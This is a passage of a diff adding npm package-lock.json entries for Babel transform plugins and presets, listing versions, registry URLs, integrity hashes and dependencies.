+ "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.23.9.tgz", + "integrity": "sha512-KDlPRM6sLo4o1FkiSlXoAa8edLXFsKKIda779fbLrvmeuc3itnjCtaO6RrtoaANsIJANj+Vk1zqbZIMhkCAHVw==", + "dependencies": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.23.3.tgz", + "integrity": "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg==", + "dependencies": { + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.23.3.tgz", + "integrity": "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.23.4.tgz", + "integrity": "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.23.4.tgz", + "integrity": "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.23.4.tgz", + "integrity": "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g==", + "dependencies": { + "@babel/compat-data": "^7.23.3", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.23.3.tgz", + "integrity": "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.23.4.tgz", + "integrity": "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.23.4.tgz", + "integrity": "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.23.3.tgz", + "integrity": "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.23.3.tgz", + "integrity": "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.23.4.tgz", + "integrity": "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.23.3.tgz", + "integrity": "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-constant-elements": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.23.3.tgz", + "integrity": "sha512-zP0QKq/p6O42OL94udMgSfKXyse4RyJ0JqbQ34zDAONWjyrEsghYEyTSK5FIpmXmCpB55SHokL1cRRKHv8L2Qw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.23.3.tgz", + "integrity": "sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.23.4.tgz", + "integrity": "sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.23.3", + "@babel/types": "^7.23.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz", + "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==", + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.23.3.tgz", + "integrity": "sha512-qMFdSS+TUhB7Q/3HVPnEdYJDQIk57jkntAwSuz9xfSE4n+3I+vHYCli3HoHawN1Z3RfCz/y1zXA/JXjG6cVImQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.23.3.tgz", + "integrity": "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.23.3.tgz", + "integrity": "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.23.9.tgz", + "integrity": "sha512-A7clW3a0aSjm3ONU9o2HAILSegJCYlEZmOhmBRReVtIpY/Z/p7yIZ+wR41Z+UipwdGuqwtID/V/dOdZXjwi9gQ==", + "dependencies": { + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.8", + "babel-plugin-polyfill-corejs3": "^0.9.0", + "babel-plugin-polyfill-regenerator": "^0.5.5", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.23.3.tgz", + "integrity": "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.23.3.tgz", + "integrity": "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.23.3.tgz", + "integrity": "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.23.3.tgz", + "integrity": "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.23.3.tgz", + "integrity": "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.23.6.tgz", + "integrity": "sha512-6cBG5mBvUu4VUD04OHKnYzbuHNP8huDsD3EDqqpIpsswTDoqHCjLoHb6+QgsV1WsT2nipRqCPgxD3LXnEO7XfA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.23.6", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-typescript": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.23.3.tgz", + "integrity": "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.23.3.tgz", + "integrity": "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.23.3.tgz", + "integrity": "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.23.3.tgz", + "integrity": "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.23.9.tgz", + "integrity": "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A==", + "dependencies": { + "@babel/compat-data": "^7.23.5", + "@babel/helper-compilation-targets": "^7.23.6", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.23.5", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.23.3", + "@babel/plugin-syntax-import-attributes": "^7.23.3", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.23.3", + "@babel/plugin-transform-async-generator-functions": "^7.23.9", + "@babel/plugin-transform-async-to-generator": "^7.23.3", + "@babel/plugin-transform-block-scoped-functions": "^7.23.3", + "@babel/plugin-transform-block-scoping": "^7.23.4", + "@babel/plugin-transform-class-properties": "^7.23.3", + "@babel/plugin-transform-class-static-block": "^7.23.4", + "@babel/plugin-transform-classes": "^7.23.8", + "@babel/plugin-transform-computed-properties": "^7.23.3", + "@babel/plugin-transform-destructuring": "^7.23.3", + "@babel/plugin-transform-dotall-regex": "^7.23.3", + "@babel/plugin-transform-duplicate-keys": "^7.23.3", + "@babel/plugin-transform-dynamic-import": "^7.23.4", + "@babel/plugin-transform-exponentiation-operator": "^7.23.3", + "@babel/plugin-transform-export-namespace-from": "^7.23.4", + "@babel/plugin-transform-for-of": "^7.23.6", + "@babel/plugin-transform-function-name": "^7.23.3", + "@babel/plugin-transform-json-strings": "^7.23.4", + "@babel/plugin-transform-literals": "^7.23.3", + "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", + "@babel/plugin-transform-member-expression-literals": "^7.23.3", + "@babel/plugin-transform-modules-amd": "^7.23.3", + "@babel/plugin-transform-modules-commonjs": "^7.23.3", + "@babel/plugin-transform-modules-systemjs": "^7.23.9", + "@babel/plugin-transform-modules-umd": "^7.23.3", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.23.3", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", + "@babel/plugin-transform-numeric-separator": "^7.23.4", + "@babel/plugin-transform-object-rest-spread": "^7.23.4", + "@babel/plugin-transform-object-super": "^7.23.3", + "@babel/plugin-transform-optional-catch-binding": "^7.23.4", + "@babel/plugin-transform-optional-chaining": "^7.23.4", + "@babel/plugin-transform-parameters": "^7.23.3", + "@babel/plugin-transform-private-methods": "^7.23.3", + "@babel/plugin-transform-private-property-in-object": "^7.23.4", + "@babel/plugin-transform-property-literals": "^7.23.3", + "@babel/plugin-transform-regenerator": "^7.23.3", + "@babel/plugin-transform-reserved-words": "^7.23.3", + "@babel/plugin-transform-shorthand-properties": "^7.23.3", + "@babel/plugin-transform-spread": "^7.23.3", + "@babel/plugin-transform-sticky-regex": "^7.23.3", + "@babel/plugin-transform-template-literals": "^7.23.3", + "@babel/plugin-transform-typeof-symbol": "^7.23.3", + "@babel/plugin-transform-unicode-escapes": "^7.23.3", + "@babel/plugin-transform-unicode-property-regex": "^7.23.3", + "@babel/plugin-transform-unicode-regex": "^7.23.3", + "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.8", + "babel-plugin-polyfill-corejs3": "^0.9.0", + "babel-plugin-polyfill-regenerator": "^0.5.5", + "core-js-compat": "^3.31.0", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.23.3.tgz", + "integrity": "sha512-tbkHOS9axH6Ysf2OUEqoSZ6T3Fa2SrNH6WTWSPBboxKzdxNc9qOICeLXkNG0ZEwbQ1HY8liwOce4aN/Ceyuq6w==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.15", + "@babel/plugin-transform-react-display-name": "^7.23.3", + "@babel/plugin-transform-react-jsx": "^7.22.15", + "@babel/plugin-transform-react-jsx-development": "^7.22.5", + "@babel/plugin-transform-react-pure-annotations": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.23.3.tgz", + "integrity": "sha512-17oIGVlqz6CchO9RFYn5U6ZpWRZIngayYCtrPRSgANSwC2V1Jb+iP74nVxzzXJte8b8BYxrL1yY96xfhTBrNNQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.15", + "@babel/plugin-syntax-jsx": "^7.23.3", + "@babel/plugin-transform-modules-commonjs": "^7.23.3", + "@babel/plugin-transform-typescript": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==" + }, + "node_modules/@babel/runtime": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.23.9.tgz", + "integrity": "sha512-0CX6F+BI2s9dkUqr08KFrAIZgNFj75rdBU/DjCyYLIaV/quFjkk6T+EJ2LkZHyZTbEV4L5p97mNkUsHl2wLFAw==", + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime-corejs3": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.23.9.tgz", + "integrity": "sha512-oeOFTrYWdWXCvXGB5orvMTJ6gCZ9I6FBjR+M38iKNXCsPxr4xT0RTdg5uz1H7QP8pp74IzPtwritEr+JscqHXQ==", + "dev": true, + "dependencies": { + "core-js-pure": "^3.30.2", + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.23.9.tgz", + "integrity": "sha512-+xrD2BWLpvHKNmX2QbpdpsBaWnRxahMwJjO+KZk2JOElj5nSmKezyS1B4u+QbHMTX69t4ukm6hh9lsYQ7GHCKA==", + "dependencies": { + "@babel/code-frame": "^7.23.5", + "@babel/parser": "^7.23.9", + "@babel/types": "^7.23.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.23.9", + "resolved": 